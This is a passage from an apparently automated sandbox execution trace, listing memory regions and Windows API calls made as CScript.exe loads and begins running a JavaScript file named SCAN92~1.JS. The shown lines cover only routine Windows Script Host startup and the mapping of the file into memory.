end_va = 0x7fefdbaefff
entry_point = 0x7fefdba0000
region_type = mapped_file
name = "profapi.dll"
filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll")
Region:
id = 280
start_va = 0x2c0000
end_va = 0x2c3fff
entry_point = 0x2c0000
region_type = mapped_file
name = "cversions.2.db"
filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db")
Region:
id = 281
start_va = 0x1d20000
end_va = 0x1d4ffff
entry_point = 0x1d20000
region_type = mapped_file
name = "{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000012.db"
filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000012.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000012.db")
Region:
id = 282
start_va = 0x1dd0000
end_va = 0x1dd3fff
entry_point = 0x1dd0000
region_type = mapped_file
name = "cversions.2.db"
filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db")
Region:
id = 283
start_va = 0x2440000
end_va = 0x24a5fff
entry_point = 0x2440000
region_type = mapped_file
name = "{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db"
filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000002.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db")
Region:
id = 284
start_va = 0x6210000
end_va = 0x6602fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000006210000"
filename = ""
Region:
id = 285
start_va = 0x7feff0e0000
end_va = 0x7feff209fff
entry_point = 0x7feff0e0000
region_type = mapped_file
name = "wininet.dll"
filename = "\\Windows\\System32\\wininet.dll" (normalized: "c:\\windows\\system32\\wininet.dll")
Region:
id = 286
start_va = 0x7feff3f0000
end_va = 0x7feff648fff
entry_point = 0x7feff3f0000
region_type = mapped_file
name = "iertutil.dll"
filename = "\\Windows\\System32\\iertutil.dll" (normalized: "c:\\windows\\system32\\iertutil.dll")
Region:
id = 287
start_va = 0x7feff790000
end_va = 0x7feff907fff
entry_point = 0x7feff790000
region_type = mapped_file
name = "urlmon.dll"
filename = "\\Windows\\System32\\urlmon.dll" (normalized: "c:\\windows\\system32\\urlmon.dll")
Region:
id = 288
start_va = 0x7fefda60000
end_va = 0x7fefda84fff
entry_point = 0x7fefda60000
region_type = mapped_file
name = "sspicli.dll"
filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll")
Region:
id = 289
start_va = 0x1de0000
end_va = 0x1de0fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000001de0000"
filename = ""
Region:
id = 290
start_va = 0x7fefdc90000
end_va = 0x7fefdca9fff
entry_point = 0x7fefdc90000
region_type = mapped_file
name = "devobj.dll"
filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll")
Region:
id = 291
start_va = 0x7fefde20000
end_va = 0x7fefde55fff
entry_point = 0x7fefde20000
region_type = mapped_file
name = "cfgmgr32.dll"
filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll")
Region:
id = 292
start_va = 0x7feffbf0000
end_va = 0x7feffdc6fff
entry_point = 0x7feffbf0000
region_type = mapped_file
name = "setupapi.dll"
filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll")
Region:
id = 293
start_va = 0x6710000
end_va = 0x680ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000006710000"
filename = ""
Region:
id = 294
start_va = 0x7fffffa8000
end_va = 0x7fffffa9fff
entry_point = 0x0
region_type = private
name = "private_0x000007fffffa8000"
filename = ""
Thread:
id = 1
os_tid = 0xaa4
[0115.814] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24fc30 | out: lpSystemTimeAsFileTime=0x24fc30*(dwLowDateTime=0x5927af30, dwHighDateTime=0x1d3f29b))
[0115.814] GetCurrentProcessId () returned 0xaa0
[0115.814] GetCurrentThreadId () returned 0xaa4
[0115.814] GetTickCount () returned 0x27167
[0115.814] QueryPerformanceCounter (in: lpPerformanceCount=0x24fc38 | out: lpPerformanceCount=0x24fc38*=564079519) returned 1
[0115.816] GetModuleHandleA (lpModuleName=0x0) returned 0xffc00000
[0115.816] GetVersionExA (in: lpVersionInformation=0x24fb20*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x24fb20*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1
[0115.816] GetUserDefaultLCID () returned 0x409
[0115.818] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x77a30000
[0115.818] GetProcAddress (hModule=0x77a30000, lpProcName="SetThreadUILanguage") returned 0x77a46d40
[0115.818] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409
[0115.818] FreeLibrary (hLibModule=0x77a30000) returned 1
[0115.819] GetCommandLineW () returned="\"C:\\Windows\\System32\\CScript.exe\" \"C:\\Users\\5P5NRG~1\\Desktop\\SCAN92~1.JS\" "
[0115.819] lstrlenW (lpString="\"C:\\Windows\\System32\\CScript.exe\" \"C:\\Users\\5P5NRG~1\\Desktop\\SCAN92~1.JS\" ") returned 75
[0115.819] GetCurrentThreadId () returned 0xaa4
[0115.819] CoInitialize (pvReserved=0x0) returned 0x0
[0117.002] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows Script Host\\Settings", ulOptions=0x0, samDesired=0x20019, phkResult=0x24f7f8 | out: phkResult=0x24f7f8*=0x88) returned 0x0
[0117.003] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows Script Host\\Settings", ulOptions=0x0, samDesired=0x20019, phkResult=0x24f7f0 | out: phkResult=0x24f7f0*=0x8c) returned 0x0
[0117.003] RegQueryValueExW (in: hKey=0x8c, lpValueName="IgnoreUserSettings", lpReserved=0x0, lpType=0x24eaf8, lpData=0x24ef00, lpcbData=0x24eaf0*=0x400 | out: lpType=0x24eaf8*=0x0, lpData=0x24ef00*=0x1, lpcbData=0x24eaf0*=0x400) returned 0x2
[0117.003] RegQueryValueExW (in: hKey=0x88, lpValueName="Enabled", lpReserved=0x0, lpType=0x24eaf8, lpData=0x24ef00, lpcbData=0x24eaf0*=0x400 | out: lpType=0x24eaf8*=0x0, lpData=0x24ef00*=0x1, lpcbData=0x24eaf0*=0x400) returned 0x2
[0117.003] RegQueryValueExW (in: hKey=0x8c, lpValueName="Enabled", lpReserved=0x0, lpType=0x24eaf8, lpData=0x24ef00, lpcbData=0x24eaf0*=0x400 | out: lpType=0x24eaf8*=0x0, lpData=0x24ef00*=0x1, lpcbData=0x24eaf0*=0x400) returned 0x2
[0117.003] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x0, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0
[0117.015] RegCloseKey (hKey=0x8c) returned 0x0
[0117.015] RegCloseKey (hKey=0x88) returned 0x0
[0117.015] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows Script Host\\Settings", ulOptions=0x0, samDesired=0x20019, phkResult=0x24f510 | out: phkResult=0x24f510*=0x88) returned 0x0
[0117.015] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows Script Host\\Settings", ulOptions=0x0, samDesired=0x20019, phkResult=0x24f508 | out: phkResult=0x24f508*=0x8c) returned 0x0
[0117.015] RegQueryValueExW (in: hKey=0x8c, lpValueName="IgnoreUserSettings", lpReserved=0x0, lpType=0x24e818, lpData=0x24ec20, lpcbData=0x24e810*=0x400 | out: lpType=0x24e818*=0x0, lpData=0x24ec20*=0x0, lpcbData=0x24e810*=0x400) returned 0x2
[0117.015] RegQueryValueExW (in: hKey=0x88, lpValueName="LogSecuritySuccesses", lpReserved=0x0, lpType=0x24e818, lpData=0x24ec20, lpcbData=0x24e810*=0x400 | out: lpType=0x24e818*=0x0, lpData=0x24ec20*=0x0, lpcbData=0x24e810*=0x400) returned 0x2
[0117.015] RegQueryValueExW (in: hKey=0x8c, lpValueName="LogSecuritySuccesses", lpReserved=0x0, lpType=0x24e818, lpData=0x24ec20, lpcbData=0x24e810*=0x400 | out: lpType=0x24e818*=0x0, lpData=0x24ec20*=0x0, lpcbData=0x24e810*=0x400) returned 0x2
[0117.015] RegCloseKey (hKey=0x8c) returned 0x0
[0117.015] RegCloseKey (hKey=0x88) returned 0x0
[0117.016] GetACP () returned 0x4e4
[0117.016] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x77a30000
[0117.016] GetProcAddress (hModule=0x77a30000, lpProcName="HeapSetInformation") returned 0x77a4c4a0
[0117.016] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
[0117.016] FreeLibrary (hLibModule=0x77a30000) returned 1
[0117.016] CoRegisterMessageFilter (in: lpMessageFilter=0x3ddf90, lplpMessageFilter=0x3ddfa0 | out: lplpMessageFilter=0x3ddfa0*=0x0) returned 0x0
[0117.016] IUnknown:AddRef (This=0x3ddf90) returned 0x2
[0117.017] GetModuleFileNameW (in: hModule=0xffc00000, lpFilename=0x24f850, nSize=0x105 | out: lpFilename="C:\\Windows\\System32\\CScript.exe" (normalized: "c:\\windows\\system32\\cscript.exe")) returned 0x1f
[0117.017] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\System32\\CScript.exe", lpdwHandle=0x24f1a0 | out: lpdwHandle=0x24f1a0) returned 0x704
[0117.017] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\System32\\CScript.exe", dwHandle=0x0, dwLen=0x704, lpData=0x24ea90 | out: lpData=0x24ea90) returned 1
[0117.017] VerQueryValueW (in: pBlock=0x24ea90, lpSubBlock="\\", lplpBuffer=0x24f1a8, puLen=0x24f1a4 | out: lplpBuffer=0x24f1a8*=0x24eab8, puLen=0x24f1a4) returned 1
[0117.017] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows Script Host\\Settings", ulOptions=0x0, samDesired=0x20019, phkResult=0x24f1f8 | out: phkResult=0x24f1f8*=0x88) returned 0x0
[0117.018] RegQueryValueExW (in: hKey=0x88, lpValueName="IgnoreUserSettings", lpReserved=0x0, lpType=0x24e548, lpData=0x24e950, lpcbData=0x24e540*=0x400 | out: lpType=0x24e548*=0x0, lpData=0x24e950*=0x0, lpcbData=0x24e540*=0x400) returned 0x2
[0117.018] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows Script Host\\Settings", ulOptions=0x0, samDesired=0x20019, phkResult=0x24f1b0 | out: phkResult=0x24f1b0*=0x8c) returned 0x0
[0117.018] RegQueryValueExW (in: hKey=0x8c, lpValueName="TrustPolicy", lpReserved=0x0, lpType=0x24f174, lpData=0x24f1f0, lpcbData=0x24f170*=0x4 | out: lpType=0x24f174*=0x0, lpData=0x24f1f0*=0x20, lpcbData=0x24f170*=0x4) returned 0x2
[0117.018] RegQueryValueExW (in: hKey=0x8c, lpValueName="UseWINSAFER", lpReserved=0x0, lpType=0x24e548, lpData=0x24e950, lpcbData=0x24e540*=0x400 | out: lpType=0x24e548*=0x0, lpData=0x24e950*=0x0, lpcbData=0x24e540*=0x400) returned 0x2
[0117.018] RegQueryValueExW (in: hKey=0x88, lpValueName="TrustPolicy", lpReserved=0x0, lpType=0x24f174, lpData=0x24f1f0, lpcbData=0x24f170*=0x4 | out: lpType=0x24f174*=0x0, lpData=0x24f1f0*=0x20, lpcbData=0x24f170*=0x4) returned 0x2
[0117.018] RegQueryValueExW (in: hKey=0x88, lpValueName="UseWINSAFER", lpReserved=0x0, lpType=0x24e548, lpData=0x24e950, lpcbData=0x24e540*=0x400 | out: lpType=0x24e548*=0x1, lpData="1", lpcbData=0x24e540*=0x4) returned 0x0
[0117.018] lstrlenW (lpString="1") returned 1
[0117.018] lstrlenW (lpString="0") returned 1
[0117.018] lstrlenW (lpString="1") returned 1
[0117.018] lstrlenW (lpString="no") returned 2
[0117.018] lstrlenW (lpString="1") returned 1
[0117.018] lstrlenW (lpString="false") returned 5
[0117.018] RegCloseKey (hKey=0x8c) returned 0x0
[0117.018] RegCloseKey (hKey=0x88) returned 0x0
[0117.018] RegCreateKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows Script Host\\Settings", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x20019, lpSecurityAttributes=0x0, phkResult=0x24f1f8, lpdwDisposition=0x0 | out: phkResult=0x24f1f8*=0x88, lpdwDisposition=0x0) returned 0x0
[0117.019] RegQueryValueExW (in: hKey=0x88, lpValueName="Timeout", lpReserved=0x0, lpType=0x24f194, lpData=0x24f1f0, lpcbData=0x24f190*=0x4 | out: lpType=0x24f194*=0x0, lpData=0x24f1f0*=0x20, lpcbData=0x24f190*=0x4) returned 0x2
[0117.019] RegQueryValueExW (in: hKey=0x88, lpValueName="DisplayLogo", lpReserved=0x0, lpType=0x24e568, lpData=0x24e970, lpcbData=0x24e560*=0x400 | out: lpType=0x24e568*=0x1, lpData="1", lpcbData=0x24e560*=0x4) returned 0x0
[0117.019] lstrlenW (lpString="1") returned 1
[0117.019] lstrlenW (lpString="0") returned 1
[0117.019] lstrlenW (lpString="1") returned 1
[0117.019] lstrlenW (lpString="no") returned 2
[0117.019] lstrlenW (lpString="1") returned 1
[0117.019] lstrlenW (lpString="false") returned 5
[0117.019] RegCloseKey (hKey=0x88) returned 0x0
[0117.019] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows Script Host\\Settings", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x20019, lpSecurityAttributes=0x0, phkResult=0x24f1f8, lpdwDisposition=0x0 | out: phkResult=0x24f1f8*=0x88, lpdwDisposition=0x0) returned 0x0
[0117.019] RegQueryValueExW (in: hKey=0x88, lpValueName="Timeout", lpReserved=0x0, lpType=0x24f194, lpData=0x24f1f0, lpcbData=0x24f190*=0x4 | out: lpType=0x24f194*=0x0, lpData=0x24f1f0*=0x20, lpcbData=0x24f190*=0x4) returned 0x2
[0117.019] RegQueryValueExW (in: hKey=0x88, lpValueName="DisplayLogo", lpReserved=0x0, lpType=0x24e568, lpData=0x24e970, lpcbData=0x24e560*=0x400 | out: lpType=0x24e568*=0x0, lpData=0x24e970*=0x31, lpcbData=0x24e560*=0x400) returned 0x2
[0117.019] RegCloseKey (hKey=0x88) returned 0x0
[0117.019] lstrlenW (lpString="C:\\Users\\5P5NRG~1\\Desktop\\SCAN92~1.JS") returned 37
[0117.019] lstrlenW (lpString="JS") returned 2
[0117.019] lstrlenW (lpString="WSH") returned 3
[0117.019] LoadStringW (in: hInstance=0xffc00000, uID=0x834, lpBuffer=0x24e0f0, cchBufferMax=2048 | out: lpBuffer="Microsoft (R) Windows Script Host Version %1!u!.%2!u!\nCopyright (C) Microsoft Corporation. All rights reserved.\n") returned 0x70
[0117.020] FormatMessageW (in: dwFlags=0x500, lpSource=0x2ffe38, dwMessageId=0x0, dwLanguageId=0x0, lpBuffer=0x24f0d8, nSize=0x0, Arguments=0x24f148 | out: lpBuffer="/") returned 0x6a
[0117.020] LocalFree (hMem=0x2feca0) returned 0x0
[0117.020] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7
[0117.020] lstrlenW (lpString="Microsoft (R) Windows Script Host Version 5.8\r\nCopyright (C) Microsoft Corporation. All rights reserved.\r\n") returned 106
[0117.023] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x24eea8 | out: lpMode=0x24eea8) returned 1
[0117.023] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x2ef330*, nNumberOfCharsToWrite=0x6c, lpNumberOfCharsWritten=0x24eea0, lpReserved=0x0 | out: lpBuffer=0x2ef330*, lpNumberOfCharsWritten=0x24eea0*=0x6c) returned 1
[0117.027] LoadStringW (in: hInstance=0xffc00000, uID=0x7d1, lpBuffer=0x24dc60, cchBufferMax=2048 | out: lpBuffer="Windows Script Host") returned 0x13
[0117.027] LoadTypeLib (in: szFile="C:\\Windows\\System32\\CScript.exe", pptlib=0x24eca0*=0x0 | out: pptlib=0x24eca0*=0x2ff030) returned 0x0
[0117.314] ITypeLib:GetTypeInfoOfGuid (in: This=0x2ff030, GUID=0xffc149b0*(Data1=0x91afbd1b, Data2=0x5feb, Data3=0x43f5, Data4=([0]=0xb0, [1]=0x28, [2]=0xe2, [3]=0xca, [4]=0x96, [5]=0x6, [6]=0x17, [7]=0xec)), ppTInfo=0x24ec88 | out: ppTInfo=0x24ec88*=0x300418) returned 0x0
[0117.968] ITypeInfo:GetRefTypeOfImplType (in: This=0x300418, index=0xffffffff, pRefType=0x24ec80 | out: pRefType=0x24ec80*=0xfffffffe) returned 0x0
[0117.968] ITypeInfo:GetRefTypeInfo (in: This=0x300418, hreftype=0xfffffffe, ppTInfo=0xffc1d638 | out: ppTInfo=0xffc1d638*=0x300470) returned 0x0
[0117.968] IUnknown:Release (This=0x300418) returned 0x1
[0117.969] ITypeLib:GetTypeInfoOfGuid (in: This=0x2ff030, GUID=0xffc14f50*(Data1=0x2cc5a9d0, Data2=0xb1e5, Data3=0x11d3, Data4=([0]=0xa2, [1]=0x86, [2]=0x0, [3]=0x10, [4]=0x4b, [5]=0xd3, [6]=0x50, [7]=0x90)), ppTInfo=0x24ec88 | out: ppTInfo=0x24ec88*=0x3004c8) returned 0x0
[0117.969] ITypeInfo:GetRefTypeOfImplType (in: This=0x3004c8, index=0xffffffff, pRefType=0x24ec80 | out: pRefType=0x24ec80*=0xfffffffe) returned 0x0
[0117.969] ITypeInfo:GetRefTypeInfo (in: This=0x3004c8, hreftype=0xfffffffe, ppTInfo=0xffc1d6b8 | out: ppTInfo=0xffc1d6b8*=0x300520) returned 0x0
[0117.969] IUnknown:Release (This=0x3004c8) returned 0x1
[0117.969] ITypeLib:GetTypeInfoOfGuid (in: This=0x2ff030, GUID=0xffc14f60*(Data1=0xbf64faf0, Data2=0x5906, Data3=0x426c, Data4=([0]=0xb4, [1]=0xbc, [2]=0x7b, [3]=0x75, [4]=0x3c, [5]=0xbe, [6]=0x81, [7]=0x9f)), ppTInfo=0x24ec88 | out: ppTInfo=0x24ec88*=0x300578) returned 0x0
[0117.969] ITypeInfo:GetRefTypeOfImplType (in: This=0x300578, index=0xffffffff, pRefType=0x24ec80 | out: pRefType=0x24ec80*=0xfffffffe) returned 0x0
[0117.969] ITypeInfo:GetRefTypeInfo (in: This=0x300578, hreftype=0xfffffffe, ppTInfo=0xffc1d6f8 | out: ppTInfo=0xffc1d6f8*=0x3005d0) returned 0x0
[0117.969] IUnknown:Release (This=0x300578) returned 0x1
[0117.969] ITypeLib:GetTypeInfoOfGuid (in: This=0x2ff030, GUID=0xffc14e20*(Data1=0x2cc5a9d1, Data2=0xb1e5, Data3=0x11d3, Data4=([0]=0xa2, [1]=0x86, [2]=0x0, [3]=0x10, [4]=0x4b, [5]=0xd3, [6]=0x50, [7]=0x90)), ppTInfo=0x24ec88 | out: ppTInfo=0x24ec88*=0x300628) returned 0x0
[0117.969] ITypeInfo:GetRefTypeOfImplType (in: This=0x300628, index=0xffffffff, pRefType=0x24ec80 | out: pRefType=0x24ec80*=0xfffffffe) returned 0x0
[0117.969] ITypeInfo:GetRefTypeInfo (in: This=0x300628, hreftype=0xfffffffe, ppTInfo=0xffc1d678 | out: ppTInfo=0xffc1d678*=0x300680) returned 0x0
[0117.969] IUnknown:Release (This=0x300628) returned 0x1
[0117.969] IUnknown:Release (This=0x2ff030) returned 0x4
[0117.969] GetCurrentThreadId () returned 0xaa4
[0117.969] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0xd8
[0117.969] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xffc023e8, lpParameter=0x505910, dwCreationFlags=0x0, lpThreadId=0x505938 | out: lpThreadId=0x505938*=0xabc) returned 0xe0
[0117.970] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x24eee0*=0xd8, fWaitAll=0, dwMilliseconds=0xffffffff, dwWakeMask=0xff) returned 0x0
[0118.286] CloseHandle (hObject=0xd8) returned 1
[0118.286] GetFullPathNameW (in: lpFileName="C:\\Users\\5P5NRG~1\\Desktop\\SCAN92~1.JS", nBufferLength=0x104, lpBuffer=0x24ef70, lpFilePart=0x24ef60 | out: lpBuffer="C:\\Users\\5P5NRG~1\\Desktop\\SCAN92~1.JS", lpFilePart=0x24ef60*="SCAN92~1.JS") returned 0x25
[0118.286] RegOpenKeyExW (in: hKey=0xffffffff80000000, lpSubKey=".JS", ulOptions=0x0, samDesired=0x20019, phkResult=0x24e480 | out: phkResult=0x24e480*=0xf2) returned 0x0
[0118.287] RegQueryValueExW (in: hKey=0xf2, lpValueName=0x0, lpReserved=0x0, lpType=0x24e430, lpData=0x24e490, lpcbData=0x24e434*=0x800 | out: lpType=0x24e430*=0x1, lpData="JSFile", lpcbData=0x24e434*=0xe) returned 0x0
[0118.287] RegCloseKey (hKey=0xf2) returned 0x0
[0118.287] RegOpenKeyExW (in: hKey=0xffffffff80000000, lpSubKey="JSFile\\ScriptEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x24e480 | out: phkResult=0x24e480*=0xf2) returned 0x0
[0118.287] RegQueryValueExW (in: hKey=0xf2, lpValueName=0x0, lpReserved=0x0, lpType=0x24e430, lpData=0x24ed00, lpcbData=0x24e434*=0x200 | out: lpType=0x24e430*=0x1, lpData="JScript", lpcbData=0x24e434*=0x10) returned 0x0
[0118.287] RegCloseKey (hKey=0xf2) returned 0x0
[0118.288] CLSIDFromString (in: lpsz="JScript", pclsid=0x24ec78 | out: pclsid=0x24ec78*(Data1=0xf414c260, Data2=0x6ac0, Data3=0x11cf, Data4=([0]=0xb6, [1]=0xd1, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbb, [6]=0xbb, [7]=0x58))) returned 0x0
[0118.288] CoCreateInstance (in: rclsid=0x24ec78*(Data1=0xf414c260, Data2=0x6ac0, Data3=0x11cf, Data4=([0]=0xb6, [1]=0xd1, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbb, [6]=0xbb, [7]=0x58)), pUnkOuter=0x0, dwClsContext=0x17, riid=0xffc14828*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x24ec70 | out: ppv=0x24ec70*=0x506690) returned 0x0
[0120.147] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24ce70 | out: lpSystemTimeAsFileTime=0x24ce70*(dwLowDateTime=0x598484d0, dwHighDateTime=0x1d3f29b))
[0120.147] GetCurrentProcessId () returned 0xaa0
[0120.147] GetCurrentThreadId () returned 0xaa4
[0120.147] GetTickCount () returned 0x273c8
[0120.147] QueryPerformanceCounter (in: lpPerformanceCount=0x24ce78 | out: lpPerformanceCount=0x24ce78*=579310343) returned 1
[0120.149] __dllonexit () returned 0x7fef3710728
[0120.158] __dllonexit () returned 0x7fef3710780
[0120.159] __dllonexit () returned 0x7fef3710750
[0120.160] __dllonexit () returned 0x7fef37107b0
[0120.160] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x7feff2b0000
[0120.161] GetProcAddress (hModule=0x7feff2b0000, lpProcName="RegisterTraceGuidsA") returned 0x77c6f570
[0120.161] EtwRegisterTraceGuidsA () returned 0x0
[0120.162] EtwRegisterTraceGuidsA () returned 0x0
[0120.162] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x24ca60, nSize=0x104 | out: lpFilename="C:\\Windows\\System32\\CScript.exe" (normalized: "c:\\windows\\system32\\cscript.exe")) returned 0x1f
[0120.163] GetProcAddress (hModule=0x7feff2b0000, lpProcName="RegOpenKeyExA") returned 0x7feff2cb5f0
[0120.163] RegOpenKeyExA (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows Script\\Features", ulOptions=0x0, samDesired=0x1, phkResult=0x24cbc8 | out: phkResult=0x24cbc8*=0x0) returned 0x2
[0120.168] GetVersion () returned 0x1db10106
[0120.226] GetUserDefaultLCID () returned 0x409
[0120.226] GetACP () returned 0x4e4
[0120.227] GetCurrentThreadId () returned 0xaa4
[0120.227] GetCurrentThreadId () returned 0xaa4
[0120.227] RegOpenKeyExA (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\COM3", ulOptions=0x0, samDesired=0x20019, phkResult=0x24eba8 | out: phkResult=0x24eba8*=0x110) returned 0x0
[0120.227] GetProcAddress (hModule=0x7feff2b0000, lpProcName="RegQueryValueExA") returned 0x7feff2cc480
[0120.227] RegQueryValueExA (in: hKey=0x110, lpValueName="COM+Enabled", lpReserved=0x0, lpType=0x24eba0, lpData=0x24eb98, lpcbData=0x24eb90*=0x4 | out: lpType=0x24eba0*=0x4, lpData=0x24eb98*=0x1, lpcbData=0x24eb90*=0x4) returned 0x0
[0120.227] GetProcAddress (hModule=0x7feff2b0000, lpProcName="RegCloseKey") returned 0x7feff2d0710
[0120.227] RegCloseKey (hKey=0x110) returned 0x0
[0120.228] GetModuleHandleA (lpModuleName="ole32.dll") returned 0x7fefdf70000
[0120.228] GetProcAddress (hModule=0x7fefdf70000, lpProcName="CoGetObjectContext") returned 0x7fefdf8c920
[0120.228] LoadLibraryExA (lpLibFileName="ole32.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefdf70000
[0120.228] GetProcAddress (hModule=0x7fefdf70000, lpProcName="CoCreateInstance") returned 0x7fefdf97490
[0120.228] CoCreateInstance (in: rclsid=0x7fef377cba0*(Data1=0x323, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef377cd80*(Data1=0x146, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x24eb70 | out: ppv=0x24eb70*=0x7fefe14a1b0) returned 0x0
[0120.230] GetEnvironmentVariableW (in: lpName="JS_PROFILER", lpBuffer=0x24eb30, nSize=0x27 | out: lpBuffer="") returned 0x0
[0120.230] GetUserDefaultLCID () returned 0x409
[0120.230] IsValidLocale (Locale=0x409, dwFlags=0x1) returned 1
[0120.230] GetLocaleInfoA (in: Locale=0x409, LCType=0x1004, lpLCData=0x24ebd0, cchData=6 | out: lpLCData="1252") returned 5
[0120.230] IsValidCodePage (CodePage=0x4e4) returned 1
[0120.231] CoCreateInstance (in: rclsid=0x7fef3775d88*(Data1=0x6c736db1, Data2=0xbd94, Data3=0x11d0, Data4=([0]=0x8a, [1]=0x23, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xb5, [6]=0x8e, [7]=0x10)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef3775d98*(Data1=0x6c736dc1, Data2=0xab0d, Data3=0x11d0, Data4=([0]=0xa2, [1]=0xad, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xf, [6]=0x27, [7]=0xe8)), ppv=0x506a00 | out: ppv=0x506a00*=0x30f8a0) returned 0x0
[0120.231] IUnknown:AddRef (This=0x30f8a0) returned 0x2
[0120.231] GetCurrentProcessId () returned 0xaa0
[0120.231] GetCurrentThreadId () returned 0xaa4
[0120.231] GetTickCount () returned 0x27416
[0120.231] ISystemDebugEventFire:BeginSession (This=0x30f8a0, guidSourceID=0x7fef3775da8, strSessionName="JScript:00002720:00002724:18160790") returned 0x0
[0120.231] GetCurrentThreadId () returned 0xaa4
[0120.232] GetTickCount () returned 0x27416
[0120.232] GetCurrentThreadId () returned 0xaa4
[0120.232] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\Desktop\\SCAN92~1.JS" (normalized: "c:\\users\\5p5nrg~1\\desktop\\scan92~1.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x11c
[0120.233] GetFileSize (in: hFile=0x11c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x13987e
[0120.233] CreateFileMappingA (hFile=0x11c, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x13987e, lpName=0x0) returned 0x120
[0120.233] MapViewOfFile (hFileMappingObject=0x120, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2380000
